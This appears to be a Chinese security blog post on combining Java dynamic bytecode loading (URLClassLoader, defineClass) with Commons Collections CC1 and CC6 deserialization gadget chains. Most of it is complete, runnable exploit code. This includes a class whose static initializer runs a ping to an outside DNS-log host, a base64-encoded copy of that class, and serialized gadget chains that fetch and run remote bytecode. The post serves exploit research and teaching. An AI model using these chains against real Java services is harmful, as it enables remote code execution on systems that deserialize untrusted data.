动态加载字节码的应用

Oyst3r 于 2024-06-03 发布

前言

大概半个月之前写过一篇文章–>“动态加载字节码技术”,其中提到除了用 forname 去加载字节码文件,还可以用 loadClass 函数去加载字节码文件,在 loadClass 函数的基础上进一步使用 URLClassLoader 加载远程 class 文件和 ClassLoader#defineClass 直接加载字节码。现在 sink 的危害不单单是Runtime.getRuntime().exec("xxx")了,而是可以去加载任意的恶意的字节码文件,但现在新的问题又出现了,如何才能去触发 sink 呢?

嗯对,可以去反序列化!将 CommonCollections 链与动态加载字节码结合使用,扩大危害。

准备工作

需要提前编译好一个 DNS.class,并把它移动到其他目录下,在该目录下启动一个 http 服务器,其中 DNS.java 内容如下–>

public class DNS {
    static{
        try {
            Runtime.getRuntime().exec("ping 6y7d5.cxsys.spacestabs.top");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

在 URLClassLoader 加载字节码上加点料

使用 URLClassLoader 加载远程 class 文件方法有四种,这里针对使用 Http 协议的加载去研究(其他三种照猫画虎即可),代码如下–>

import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://localhost:8000/")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class c = urlClassLoader.loadClass("DNS");
        c.newInstance();
    }
}

拿 CC1、CC6 来看,它们的 sink 都是在 InvokerTransformer.transform 方法中,详情如下–>

实际上也就是自实现了一个 invoke 的反射调用,不多赘述了。那么理论上来讲,只要把上面的 demo 代码全部改成 InvokerTransformer 的写法,就可以让 CC 链去实现一个动态加载字节码的功能,先修改一下 Loader 代码,变成反射的写法,如下–>

import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
    public static void main(String[] args) throws Exception {
        Class<?> clazz = Class.forName("java.net.URLClassLoader");
        URL[] urls = {new URL("http://localhost:8000/")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class c = (Class) clazz.getMethod("loadClass", String.class).invoke(urlClassLoader, "DNS");
        c.newInstance();
    }
}

运行代码成功触发 DNS 请求,如下–>

但其实还不够,因为 loadClass 并不会去初始化一个类,那么 DNS 类中的静态代码块并不会执行,针对于c.newInstance();这一行代码也要改成反射的写法,最终这个也是要放到 chainedTransformer 中作为一个节点,改写成反射如下–>

import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
    public static void main(String[] args) throws Exception {
        Class<?> clazz = Class.forName("java.net.URLClassLoader");
        URL[] urls = {new URL("http://localhost:8000/")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class c = (Class) clazz.getMethod("loadClass", String.class).invoke(urlClassLoader, "DNS");
        Class.class.getMethod("newInstance").invoke(c);
    }
}

接着就是把上述代码改成 InvokerTransformer 的写法,挺简单的,这里拿 CC1 那条链子(走 TransformedMap 的那条)举例,代码如下–>

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;

public class CC1ClassLoader {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://localhost:8000/")};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(new URLClassLoader(urls)),
                new InvokerTransformer(
                        "loadClass",
                        new Class[]{String.class},
                        new Object[]{"DNS"}),
                new InvokerTransformer(
                        "newInstance",
                        new Class[0],
                        new Object[0])
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","xxx");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class<?> clazzSink = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazzSink.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Retention.class, transformedMap);
        serializeObject(instance);
        unSerializeObject("ser.bin");
    }

    public static void serializeObject(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    }

    public static Object unSerializeObject(String Filename) throws Exception {
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(Filename));
        return inputStream.readObject();
    }
}

运行就会发现,代码在序列化时候就报错–>

URLClassLoader 类是没有继承 Serializable 接口的,如下–>

其实和 CC1、CC6 一样,通过反射去加载即可,而观察 URLClassLoader 类发现它重写了 newInstance 方法,如下–>

是一个静态方法,这个 Runtime 类很像了,先在 Loader 类上改写一下,如下–>

import java.net.URL;
import java.net.URLClassLoader;

public class Test {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://localhost:8000/")};
        Class<?> clazz = Class.forName("java.net.URLClassLoader");
        URLClassLoader urlClassLoader = (URLClassLoader) clazz.getMethod("newInstance",URL[].class).invoke(null,new Object[] {urls});
        Class c = (Class) clazz.getMethod("loadClass", String.class).invoke(urlClassLoader, "DNS");
        Class.class.getMethod("newInstance").invoke(c);
    }
}

运行代码成功触发 DNS 请求,如下–>

再将上述代码改写成 InvokerTransformer 的写法,如下–>

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class CC1ClassLoader {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://localhost:8000/")};
        Class<?> clazz = Class.forName("java.net.URLClassLoader");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(clazz),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"newInstance", new Class[]{URL[].class}}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{urls}}
                ),
                new InvokerTransformer(
                        "loadClass",
                        new Class[]{String.class},
                        new Object[]{"DNS"}),
                new InvokerTransformer(
                        "newInstance",
                        new Class[0],
                        new Object[0])
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","xxx");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class<?> clazzSink = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazzSink.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Retention.class, transformedMap);
        serializeObject(instance);
        unSerializeObject("ser.bin");
    }

    public static void serializeObject(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    }

    public static Object unSerializeObject(String Filename) throws Exception {
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(Filename));
        return inputStream.readObject();
    }
}

运行代码成功触发 DNS 请求,如下–>

至此成功的给 URLClassLoader 加载字节码去加了点料(CC1)。当然,CC1 可以,那么 CC6 同样可以,代码如下–>

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class CC6ClassLoader {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://localhost:8000/")};
        Class<?> clazz = Class.forName("java.net.URLClassLoader");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(clazz),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"newInstance", new Class[]{URL[].class}}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{urls}}
                ),
                new InvokerTransformer(
                        "loadClass",
                        new Class[]{String.class},
                        new Object[]{"DNS"}),
                new InvokerTransformer(
                        "newInstance",
                        new Class[0],
                        new Object[0])
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","xxx");
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc");
        HashMap<TiedMapEntry,Integer> entryMap = new HashMap<TiedMapEntry,Integer>();
        Class<?> clazzTiedMapEntry = tiedMapEntry.getClass();
        Field field = clazzTiedMapEntry.getDeclaredField("map");
        field.setAccessible(true);
        field.set(tiedMapEntry,new HashMap());
        entryMap.put(tiedMapEntry, 1);
        field.set(tiedMapEntry,lazyMap);
        serializeObject(entryMap);
        unSerializeObject("ser.bin");
    }

    public static void serializeObject(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    }

    public static Object unSerializeObject(String Filename) throws Exception {
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(Filename));
        return inputStream.readObject();
    }
}

运行代码成功触发 DNS 请求,如下–>

其他的 CC 链(只要 sink 和 CC1、CC6 类似)就不赘述了,照猫画虎即可。

在 ClassLoader#defineClass 上加点料

同样的,用 ClassLoader#defineClass 去加载字节码能不能延续上面的思路呢?由于 defineClass 方法是一个 protected 方法,如下–>

所以需要反射去使用getDeclaredMethods()setAccessible(true)来完成方法的调用,给一个 demo–>

import java.lang.reflect.Method;
import java.util.Base64;

public class Loader {
    public static void main(String[] args) throws Exception {
        ClassLoader appClassLoader = Loader.class.getClassLoader();
        Method defineClass = ClassLoader.class.getDeclaredMethod(
                "defineClass",
                String.class,
                byte[].class,
                int.class,
                int.class
        );
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMRE5TOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIRE5TLmphdmEMAAoACwcAIgwAIwAkAQAfcGluZyA2eTdkNS5jeHN5cy5zcGFjZXN0YWJzLnRvcAwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANETlMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAYACQAJAAwABwANAAgAFgAKAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");
        Class hello = (Class)defineClass.invoke(appClassLoader, "DNS", code, 0, code.length);
        hello.newInstance();
    }
}

逐行去看,不难发现这一行代码defineClass.setAccessible(true);是没有返回值的。

// 无法形成链式结构:
getDeclaredMethod(...).setAccessible(true).invoke(...) // 错误!

虽然defineClass.setAccessible(true);能改成 invoke 的形式,但与代码上下文串不起来,无法形成链式结构。这行代码直接导致了 InvokerTransformer 不能使用 ClassLoader#defineClass 去加载字节码!

看来直接使用 ClassLoader 调用 defineClass 方法这条路被堵死了,唯一的解决方案就是去寻找重写过 defineClass 方法的类,且重写后的方法最好是 public 的,当然 default、protected、private 的也行,但是最终要能被 public 的类或者是方法去调用到。

现在就是要找哪里调用了 defineClass 方法,排除没用的剩下两处,其中一处和 BCEL 加载字节码相关、另外一处就是大名鼎鼎的 TemplatesImpl 加载字节码,可以说这两个耳熟能详的技术根源是在这里!他俩在 Fastjson 等漏洞的利用中经常出现,所以说,Java 安全中一切都是有迹可循的。

Tips:细心一点其实还可以发现一直提到的 ClassLoader#defineClass 方法写全了是protected final Class<?> defineClass(String name, byte[] b, int off, int len),它其实会去调用defineClass(name, b, off, len, null);,如下–>

多了一个参数,而这个方法全称是protected final Class<?> defineClass(String name, byte[] b, int off, int len,ProtectionDomain protectionDomain),最终会在这个方法中去调用native Class<?> defineClass1(xxx),如下–>

所以更底层一点的应该是protected final Class<?> defineClass(String name, byte[] b, int off, int len,ProtectionDomain protectionDomain)这个函数,而它也是 protected final,按理来说也是可以找重写过这个方法的类去实现加载字节码,看一下它的调用关系,如下–>

有三个,其中第一个就是 loadClass 去干的事情,在上面也已经成功的写出了一个 POC(CC1、CC6 加载字节码),马马虎虎相当于给 ClassLoader#defineClass 加料了。

第二个 SecureClassLoader 类它的全部方法(包括构造方法)都是 protected、private 的,必须用setAccessible(true)修改,上面也阐述过,这样是不行的,详情见下–>

第三个 NoCallStackClassLoader 类它的构造方法是 public 的,findClass 方法是 protected 的,但类中并没有去用到 findClass 方法,所以也是必须用setAccessible(true)修改,同样是走不通的,详情见下–>

本文分析了这么多,也算是看清了 BCEL 和 TemplatesImpl 这两个字节码加载技术的前世(还没有今生),同样也说明,若想要把 ClassLoader#defineClass 同 CC 等链相结合必须要在 BCEL 类和 TemplatesImpl 类上面继续做文章…